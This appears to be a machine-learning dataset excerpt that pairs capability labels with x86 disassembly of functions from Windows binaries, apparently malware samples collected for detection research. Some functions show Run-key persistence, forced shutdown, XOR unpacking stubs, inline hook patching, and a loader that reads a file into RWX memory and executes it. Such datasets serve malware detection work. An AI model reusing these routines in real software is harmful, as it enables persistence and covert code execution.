joyce8/EMBER2024-capa huggingface dataset:
Function at 0x552a78
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], ecx
mov ebx, edx
xor edx, edx
push ebp
push 0x552b36
push dword fs:[edx]
mov dword fs:[edx], esp
lea edx, [ebp - 8]
push edx
push eax
push 0
call sub.shell32.dll_SHGetSpecialFolderLocation
mov eax, ebx
mov edx, 0x104
call fcn.004083d8
mov eax, dword [ebx]
call fcn.00408254
push eax
mov eax, dword [ebp - 8]
push eax
call sub.shell32.dll_SHGetPathFromIDListW
mov eax, dword [ebx]
call fcn.00408254
call fcn.00407b38
mov edx, ebx
xchg edx, eax
call fcn.004083d8
lea edx, [ebp - 0xc]
mov eax, dword [ebx]
call fcn.0041fae4
cmp dword [ebp - 0xc], 0
je 0x552b01
mov esi, dword [ebx]
lea edx, [ebp - 4]
mov dword [ebp - 0x10], esi
mov eax, dword [ebp - 0x10]
call fcn.004272e8
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.00407a28
jmp 0x552b0a
mov eax, ebx
mov edx, dword [ebx]
call fcn.00407a28
mov eax, dword [ebp - 8]
push eax
call sub.ole32.dll_CoTaskMemFree
xor eax, eax
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x552b3d
lea eax, [ebp - 0xc]
call fcn.00407648
lea eax, [ebp - 4]
call fcn.00407648
ret

Function at 0x552e9c
Capabilities:
Delete file
Move file

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov ebx, eax
xor eax, eax
push ebp
push 0x552f3a
push dword fs:[eax]
mov dword fs:[eax], esp
xor esi, esi
mov dl, 1
mov eax, ebx
call fcn.00420b90
test al, al
je 0x552f1e
mov eax, ebx
test eax, eax
je 0x552ecd
sub eax, 4
mov eax, dword [eax]
lea esi, [eax + 1]
push esi
lea eax, [ebp - 4]
mov ecx, 1
mov edx, dword [0x552e78]
call fcn.004095d4
add esp, 4
mov edx, dword [ebp - 4]
mov ecx, esi
mov eax, ebx
call fcn.00408fb4
push 4
push 0
mov eax, dword [ebp - 4]
push eax
call sub.KERNEL32.DLL_MoveFileExW
mov esi, eax
lea eax, [ebp - 4]
mov edx, dword [0x552e78]
call fcn.00408bec
lea eax, [ebp - 4]
mov edx, dword [0x552e78]
call fcn.004095e0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x552f41
lea eax, [ebp - 4]
mov edx, dword [0x552e78]
call fcn.004095e0
ret
Function at 0x5530d4
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffebc
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040772c
xor eax, eax
push ebp
push 0x553230
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0xffffffff
mov dl, 1
mov eax, dword [ebp - 4]
call fcn.00420b90
test al, al
jne 0x553118
xor eax, eax
mov dword [ebp - 8], eax
jmp 0x55321a
xor eax, eax
push ebp
push 0x553144
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x40
mov ecx, dword [ebp - 4]
mov dl, 1
mov eax, dword [0x43d504]
call fcn.0044b54c
mov dword [ebp - 0xc], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x55315d
xor eax, eax
push ebp
push 0x553213
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x5531e2
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x4c]
mov ecx, 0x40
mov eax, dword [ebp - 0xc]
call fcn.0044adac
cmp word [ebp - 0x4c], 0x5a4d
je 0x553198
xor eax, eax
mov dword [ebp - 8], eax
jmp 0x5531d8
xor ecx, ecx
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
mov ebx, dword [eax]
call dword [ebx + 0x14]
lea edx, [ebp - 0x144]
mov ecx, 0xf8
mov eax, dword [ebp - 0xc]
call fcn.0044adac
cmp dword [ebp - 0x144], 0x4550
je 0x5531d8
xor eax, eax
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
call fcn.00406e74
jmp 0x55321a
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5531fd
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x55321a
mov eax, dword [ebp - 0xc]
call fcn.00405a0c
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x553237
lea eax, [ebp - 4]
call fcn.00407648
ret

Function at 0x55331c
Capabilities:
Shutdown system

Disassembly:
push ebx
add esp, 0xffffffd8
mov ebx, eax
mov eax, dword [0x568838]
cmp dword [eax], 2
jne 0x553396
push esp
push 0x28
call sub.KERNEL32.DLL_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
cmp eax, 1
sbb eax, eax
inc eax
test al, al
je 0x553396
lea eax, [esp + 0xc]
push eax
push 0x5533ac
push 0
call sub.advapi32.dll_LookupPrivilegeValueW
cmp eax, 1
sbb eax, eax
inc eax
mov dword [esp + 8], 1
mov dword [esp + 0x14], 2
mov edx, 0x10
xor ecx, ecx
mov dword [esp + 4], ecx
test al, al
je 0x553396
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x1c]
push eax
push edx
lea eax, [esp + 0x14]
push eax
push 0
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
push 0
push ebx
call sub.user32.dll_ExitWindowsEx
cmp eax, 1
sbb eax, eax
inc eax
add esp, 0x28
pop ebx
ret
Function at 0x5533d4
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040772c
mov eax, dword [ebp - 8]
call fcn.0040772c
xor eax, eax
push ebp
push 0x55349e
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x45e9ec]
call fcn.0045fb38
mov ebx, eax
mov edx, 0x80000002
mov eax, ebx
call fcn.0045fc20
mov byte [ebx + 0xc], 0
xor ecx, ecx
mov edx, 0x5534b8
mov eax, ebx
call fcn.0045fd78
push 0x553528
lea edx, [ebp - 0x10]
xor eax, eax
call fcn.0040491c
push dword [ebp - 0x10]
push 0x553538
push dword [ebp - 8]
lea eax, [ebp - 0xc]
mov edx, 4
call fcn.00408538
mov eax, dword [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
mov ecx, dword [ebp - 4]
mov edx, 0x553554
call fcn.004084b0
mov edx, dword [ebp - 0x14]
mov eax, ebx
pop ecx
call fcn.004606cc
mov eax, ebx
call fcn.0045fbf0
mov eax, ebx
call fcn.00405a0c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5534a5
lea eax, [ebp - 0x14]
mov edx, 5
call fcn.004076a8
ret

Function at 0x553570
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040772c
mov eax, dword [ebp - 8]
call fcn.0040772c
xor eax, eax
push ebp
push 0x55363a
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x45e9ec]
call fcn.0045fb38
mov ebx, eax
mov edx, 0x80000002
mov eax, ebx
call fcn.0045fc20
mov byte [ebx + 0xc], 0
xor ecx, ecx
mov edx, 0x553654
mov eax, ebx
call fcn.0045fd78
push 0x5536c4
lea edx, [ebp - 0x10]
xor eax, eax
call fcn.0040491c
push dword [ebp - 0x10]
push 0x5536d4
push dword [ebp - 8]
lea eax, [ebp - 0xc]
mov edx, 4
call fcn.00408538
mov eax, dword [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
mov ecx, dword [ebp - 4]
mov edx, 0x5536f0
call fcn.004084b0
mov edx, dword [ebp - 0x14]
mov eax, ebx
pop ecx
call fcn.004606cc
mov eax, ebx
call fcn.0045fbf0
mov eax, ebx
call fcn.00405a0c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x553641
lea eax, [ebp - 0x14]
mov edx, 5
call fcn.004076a8
ret

Function at 0x553d24
Capabilities:
Create process on windows

Disassembly:
push ebx
add esp, 0xffffffc4
mov ebx, edx
mov dword [esp], 0x3c
mov dword [esp + 4], 0x44c
mov dword [esp + 8], eax
mov eax, 0x553d80
mov dword [esp + 0xc], eax
mov eax, ebx
call fcn.00408254
mov dword [esp + 0x10], eax
xor eax, eax
mov dword [esp + 0x14], eax
xor eax, eax
mov dword [esp + 0x18], eax
xor eax, eax
mov dword [esp + 0x1c], eax
xor eax, eax
mov dword [esp + 0x20], eax
xor eax, eax
mov dword [esp + 0x24], eax
push esp
call sub.shell32.dll_ShellExecuteExW
cmp eax, 1
sbb eax, eax
inc eax
add esp, 0x3c
pop ebx
ret
Function at 0x555100
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
mov ebx, edx
mov edi, eax
xor eax, eax
push ebp
push 0x555350
push dword fs:[eax]
mov dword fs:[eax], esp
xor edx, edx
mov eax, dword [edi + 0x3cc]
mov ecx, dword [eax]
call dword [ecx + 0x80]
xor edx, edx
mov eax, dword [edi + 0x3c8]
mov ecx, dword [eax]
call dword [ecx + 0x80]
mov eax, dword [edi + 0x3c4]
mov eax, dword [eax + 0x2a4]
call fcn.004cb66c
test eax, eax
jle 0x555188
mov eax, dword [edi + 0x3c4]
mov eax, dword [eax + 0x2a4]
call fcn.004cb7f0
mov eax, dword [edi + 0x3c4]
mov eax, dword [eax + 0x2a4]
call fcn.004cb7c4
mov eax, dword [edi + 0x3c4]
mov eax, dword [eax + 0x2a4]
call fcn.004cb9d0
lea eax, [ebp - 4]
call fcn.005529dc
mov eax, dword [ebp - 4]
mov edx, 0x55536c
call fcn.00554a50
mov esi, eax
lea edx, [ebp - 8]
mov eax, 0x1a
call fcn.00552a78
mov eax, dword [ebp - 8]
mov edx, 0x55536c
call fcn.00554a50
add esi, eax
xor edx, edx
mov eax, dword [edi + 0x3f8]
call fcn.004c979c
mov edx, esi
mov eax, dword [edi + 0x3f8]
call fcn.004c97a8
lea eax, [ebp - 0xc]
call fcn.005529dc
mov eax, dword [ebp - 0xc]
mov edx, 0x55536c
call fcn.00554e18
lea edx, [ebp - 0x10]
mov eax, 0x1a
call fcn.00552a78
mov eax, dword [ebp - 0x10]
mov edx, 0x55536c
call fcn.00554e18
mov eax, dword [edi + 0x3c4]
push eax
mov ecx, 0x555384
mov edx, 0x80000001
mov eax, 0x5553a4
call fcn.005541ec
mov eax, dword [edi + 0x3c4]
push eax
mov ecx, 0x555384
mov edx, 0x80000002
mov eax, 0x5553a4
call fcn.005541ec
mov ecx, dword [edi + 0x3c4]
mov edx, 0x80000002
mov eax, 0x5553a4
call fcn.00553efc
mov ecx, dword [edi + 0x3c4]
mov edx, 0x80000001
mov eax, 0x5553a4
call fcn.00553efc
test bl, bl
jne 0x55530b
mov eax, dword [edi + 0x3c4]
mov eax, dword [eax + 0x2a4]
call fcn.004cb66c
test eax, eax
jle 0x5552cf
mov dl, 1
mov eax, dword [edi + 0x3cc]
mov ecx, dword [eax]
call dword [ecx + 0x80]
push 0x40030
push 0x555404
lea eax, [ebp - 0x14]
push eax
mov ecx, 0x555424
mov edx, 0x555498
mov eax, edi
call fcn.005516ac
lea eax, [ebp - 0x14]
mov edx, 0x5554b4
call fcn.00408008
mov eax, dword [ebp - 0x14]
call fcn.00407ff4
push eax
push 0
call sub.user32.dll_MessageBoxW
jmp 0x55530b
push 0x40040
push 0x555404
lea eax, [ebp - 0x18]
push eax
mov ecx, 0x5554c0
mov edx, 0x555518
mov eax, edi
call fcn.005516ac
lea eax, [ebp - 0x18]
mov edx, 0x5554b4
call fcn.00408008
mov eax, dword [ebp - 0x18]
call fcn.00407ff4
push eax
push 0
call sub.user32.dll_MessageBoxW
xor edx, edx
mov eax, dword [edi + 0x3f8]
call fcn.004c9828
mov dl, 1
mov eax, dword [edi + 0x3c8]
mov ecx, dword [eax]
call dword [ecx + 0x80]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x555357
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.00407708
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.004076a8
ret
Function at 0x555790
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x5558e5
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
call fcn.00552948
lea eax, [ebp - 4]
mov edx, 0x555900
call fcn.00408458
mov eax, dword [ebp - 4]
mov dl, 1
call fcn.00420c28
test al, al
je 0x5558ca
xor eax, eax
push ebp
push 0x555845
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 0x555920
lea eax, [ebp - 0xc]
call fcn.00552948
push dword [ebp - 0xc]
push 0x555938
lea eax, [ebp - 8]
mov edx, 3
call fcn.00408538
mov eax, dword [ebp - 8]
call fcn.00408254
push eax
lea eax, [ebp - 0x10]
call fcn.005528ac
lea eax, [ebp - 0x10]
mov edx, 0x555a04
call fcn.00408458
mov eax, dword [ebp - 0x10]
call fcn.00408254
push eax
push 0x555a20
push 0
call sub.shell32.dll_ShellExecuteW
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x55584f
xor eax, eax
push ebp
push 0x5558c0
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 0x555920
lea eax, [ebp - 0x18]
call fcn.00552948
push dword [ebp - 0x18]
push 0x555a38
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.00408538
mov eax, dword [ebp - 0x14]
call fcn.00408254
push eax
lea eax, [ebp - 0x1c]
call fcn.005528ac
lea eax, [ebp - 0x1c]
mov edx, 0x555a04
call fcn.00408458
mov eax, dword [ebp - 0x1c]
call fcn.00408254
push eax
push 0x555a20
push 0
call sub.shell32.dll_ShellExecuteW
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5558ca
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5558ec
lea eax, [ebp - 0x1c]
mov edx, 7
call fcn.004076a8
ret
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, 0x10003028
xor esi, esi
push edi
cmp ebx, 0x10002034
jne 0x1000116a
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x10002038]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x10001172
push 1
push esi
push esi
push ebx
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x1000203c]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x1000119d
push 0x40
mov eax, 0x1000
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
cmp ax, si
jne 0x100011cb
push 5
pop ecx
mov esi, str.sktop.ini
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x10001222
push esi
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10

Function at 0x433003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..rsrc
mov ebx, 0x40de38
nop
nop
mov ecx, 0x2f903d0f
nop
nop
nop
test eax, eax
nop
je 0x43304e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x433024
nop
nop
nop
mov eax, str.UyU
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x553b6dcf
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x433084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x100038f0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x100d3080]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x14]
push esi
mov esi, dword [ebp + 8]
push edi
push eax
push 0x40
push 1
push esi
mov edi, ecx
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x1c], esi
call ebx
test eax, eax
setne byte [ebp - 0x10]
mov cl, byte [esi]
mov byte [ebp - 0x1d], cl
test eax, eax
je 0x10003948
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0xc]
push ecx
push eax
push dword [ebp - 0x18]
mov dword [ebp - 0xc], eax
push dword [ebp - 0x1c]
call ebx
mov cl, byte [ebp - 0x1d]
movzx eax, cl
sub eax, 0xe8
je 0x10003a1a
sub eax, 1
je 0x10003a1a
sub eax, 0x16
jne 0x10003a01
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x14]
push eax
push 0x40
inc esi
mov dword [ebp - 0x18], 1
push 1
push esi
mov dword [ebp - 0x1c], esi
call ebx
test eax, eax
setne byte [ebp - 0x10]
mov cl, byte [esi]
mov byte [ebp - 0x1d], cl
test eax, eax
je 0x100039a6
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0xc]
push ecx
push eax
push dword [ebp - 0x18]
mov dword [ebp - 0xc], eax
push dword [ebp - 0x1c]
call ebx
mov cl, byte [ebp - 0x1d]
cmp cl, 0x15
je 0x100039b0
cmp cl, 0x25
jne 0x10003a01
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x14]
push eax
push 0x40
add esi, 2
mov dword [ebp - 0x18], 4
push 4
push esi
mov dword [ebp - 0x1c], esi
call ebx
test eax, eax
setne byte [ebp - 0x10]
mov esi, dword [esi]
test eax, eax
je 0x100039ea
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0xc]
push ecx
push eax
push dword [ebp - 0x18]
mov dword [ebp - 0xc], eax
push dword [ebp - 0x1c]
call ebx
mov ecx, dword [esi]
mov eax, edi
mov dword [edi], ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.1005ff0b
mov esp, ebp
pop ebp
ret
mov dword [edi], 0
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.1005ff0b
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x14]
push eax
push 0x40
inc esi
mov dword [ebp - 0x18], 4
push 4
push esi
mov dword [ebp - 0x1c], esi
call ebx
test eax, eax
setne byte [ebp - 0x10]
mov ecx, dword [esi]
mov dword [ebp - 0x24], ecx
test eax, eax
je 0x10003a58
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0xc]
push ecx
push eax
push dword [ebp - 0x18]
mov dword [ebp - 0xc], eax
push dword [ebp - 0x1c]
call ebx
mov ecx, dword [ebp - 0x24]
lea eax, [esi + 4]
add eax, ecx
mov ecx, dword [ebp - 8]
mov dword [edi], eax
xor ecx, ebp
mov eax, edi
pop edi
pop esi
pop ebx
call fcn.1005ff0b
mov esp, ebp
pop ebp
ret
Function at 0x10003a80
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x100d3080]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov edx, ecx
push ebx
push esi
push edi
push ecx
mov ecx, esp
mov dword [ebp - 0x1c], edx
mov dword [ecx], eax
mov ecx, edx
call fcn.100038f0
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x10]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
add esp, 4
mov dword [ebp - 0x14], 1
mov dword [ebp - 0x18], esi
push eax
push 0x40
push 1
push esi
call ebx
test eax, eax
setne byte [ebp - 0xc]
mov byte [esi], 0xe9
test eax, eax
je 0x10003ae8
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 8]
push ecx
push eax
push dword [ebp - 0x14]
mov dword [ebp - 8], eax
push dword [ebp - 0x18]
call ebx
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x10]
mov edi, dword [ebp + 0xc]
inc esi
push eax
push 0x40
push 4
sub edi, esi
mov dword [ebp - 0x14], 4
push esi
sub edi, 4
mov dword [ebp - 0x18], esi
call ebx
test eax, eax
setne byte [ebp - 0xc]
mov dword [esi], edi
test eax, eax
je 0x10003b28
mov ecx, dword [ebp - 0x10]
lea eax, [ebp - 8]
push eax
push ecx
push dword [ebp - 0x14]
mov dword [ebp - 8], ecx
push dword [ebp - 0x18]
call ebx
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x1c]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.1005ff0b
mov esp, ebp
pop ebp
ret

Function at 0x10003b40
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x100d3080]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov edx, ecx
push ebx
push esi
push edi
push ecx
mov ecx, esp
mov dword [ebp - 0x1c], edx
mov dword [ecx], eax
mov ecx, edx
call fcn.100038f0
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x10]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
add esp, 4
mov dword [ebp - 0x14], 1
mov dword [ebp - 0x18], esi
push eax
push 0x40
push 1
push esi
call ebx
test eax, eax
setne byte [ebp - 0xc]
mov byte [esi], 0xe8
test eax, eax
je 0x10003ba8
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 8]
push ecx
push eax
push dword [ebp - 0x14]
mov dword [ebp - 8], eax
push dword [ebp - 0x18]
call ebx
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x10]
mov edi, dword [ebp + 0xc]
inc esi
push eax
push 0x40
push 4
sub edi, esi
mov dword [ebp - 0x14], 4
push esi
sub edi, 4
mov dword [ebp - 0x18], esi
call ebx
test eax, eax
setne byte [ebp - 0xc]
mov dword [esi], edi
test eax, eax
je 0x10003be8
mov ecx, dword [ebp - 0x10]
lea eax, [ebp - 8]
push eax
push ecx
push dword [ebp - 0x14]
mov dword [ebp - 8], ecx
push dword [ebp - 0x18]
call ebx
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x1c]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.1005ff0b
mov esp, ebp
pop ebp
ret
Function at 0x10003c00
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x100d3080]
xor eax, ebp
mov dword [ebp - 8], eax
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, ecx
mov dword [ebp - 0x18], 0
test edi, edi
jne 0x10003c27
mov byte [ebp - 0xc], cl
jmp 0x10003c41
lea eax, [ebp - 0x10]
mov dword [ebp - 0x14], edi
push eax
push 0x40
push edi
push esi
mov dword [ebp - 0x18], esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
setne byte [ebp - 0xc]
push edi
push 0x90
push esi
call fcn.100620b0
add esp, 0xc
cmp byte [ebp - 0xc], 0
je 0x10003c6d
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 0x1c]
push ecx
push eax
push dword [ebp - 0x14]
mov dword [ebp - 0x1c], eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 8]
pop edi
xor ecx, ebp
pop esi
call fcn.1005ff0b
mov esp, ebp
pop ebp
ret
Function at 0x1000a6b0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [esp + 0xc], edi
test eax, eax
jg 0x1000a6e2
jl 0x1000a6d5
test ecx, ecx
jne 0x1000a6e2
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x1000a7a2
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], eax
mov ecx, ebx
call fcn.10009b40
mov esi, eax
mov eax, edx
mov dword [esp + 0x14], eax
test eax, eax
jl 0x1000a74e
jg 0x1000a70d
test esi, esi
je 0x1000a74e
mov ecx, dword [esp + 0xc]
cmp ecx, eax
jg 0x1000a725
mov eax, dword [esp + 0x10]
jl 0x1000a71f
cmp eax, esi
jae 0x1000a725
mov esi, eax
mov dword [esp + 0x14], ecx
mov eax, dword [ebx + 0x1c]
push esi
push dword [eax]
push edi
call fcn.10061b30
mov eax, dword [ebx + 0x2c]
add esp, 0xc
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
sub ecx, esi
sbb edx, dword [esp + 0x14]
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
jmp 0x1000a76f
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x1c]
mov edx, dword [esp + 0xc]
cmp eax, 0xffffffff
je 0x1000a78b
mov ecx, dword [esp + 0x10]
mov esi, 1
add ecx, 0xffffffff
mov byte [edi], al
adc edx, 0xffffffff
add edi, esi
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], ecx
test edx, edx
jg 0x1000a6f4
jl 0x1000a78b
test ecx, ecx
jne 0x1000a6f4
mov eax, dword [ebp + 0xc]
sub eax, dword [esp + 0x10]
mov esi, dword [ebp + 0x10]
sbb esi, edx
mov edx, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x1c]
lea esi, [ebx + 0x2c]
mov edi, ecx
mov edx, dword [eax]
test edx, edx
je 0x1000a7e0
mov eax, dword [esi]
mov eax, dword [eax]
test eax, eax
je 0x1000a7e0
cmp eax, ecx
mov esi, ecx
cmovb esi, eax
push esi
push edx
push dword [esp + 0x14]
call fcn.10061b30
mov eax, dword [ebx + 0x2c]
sub edi, esi
add dword [esp + 0x18], esi
add esp, 0xc
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
lea esi, [ebx + 0x2c]
cmp dword [ebx + 0x4c], 0
je 0x1000a849
mov ecx, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [ecx], eax
jne 0x1000a806
mov eax, dword [ebx + 0xc]
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi]
mov dword [eax], edx
mov esi, dword [esp + 0xc]
cmp edi, 0xfff
jbe 0x1000a834
push dword [ebx + 0x4c]
push 0xfff
push 1
push esi
call fcn.10076678
add esp, 0x10
add esi, eax
sub edi, eax
cmp eax, 0xfff
jne 0x1000a849
cmp edi, eax
ja 0x1000a812
test edi, edi
je 0x1000a849
push dword [ebx + 0x4c]
push edi
push 1
push esi
call fcn.10076678
add esp, 0x10
sub edi, eax
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, edi
pop edi
pop esi
sbb edx, 0
pop ebx
mov esp, ebp
pop ebp
ret 0xc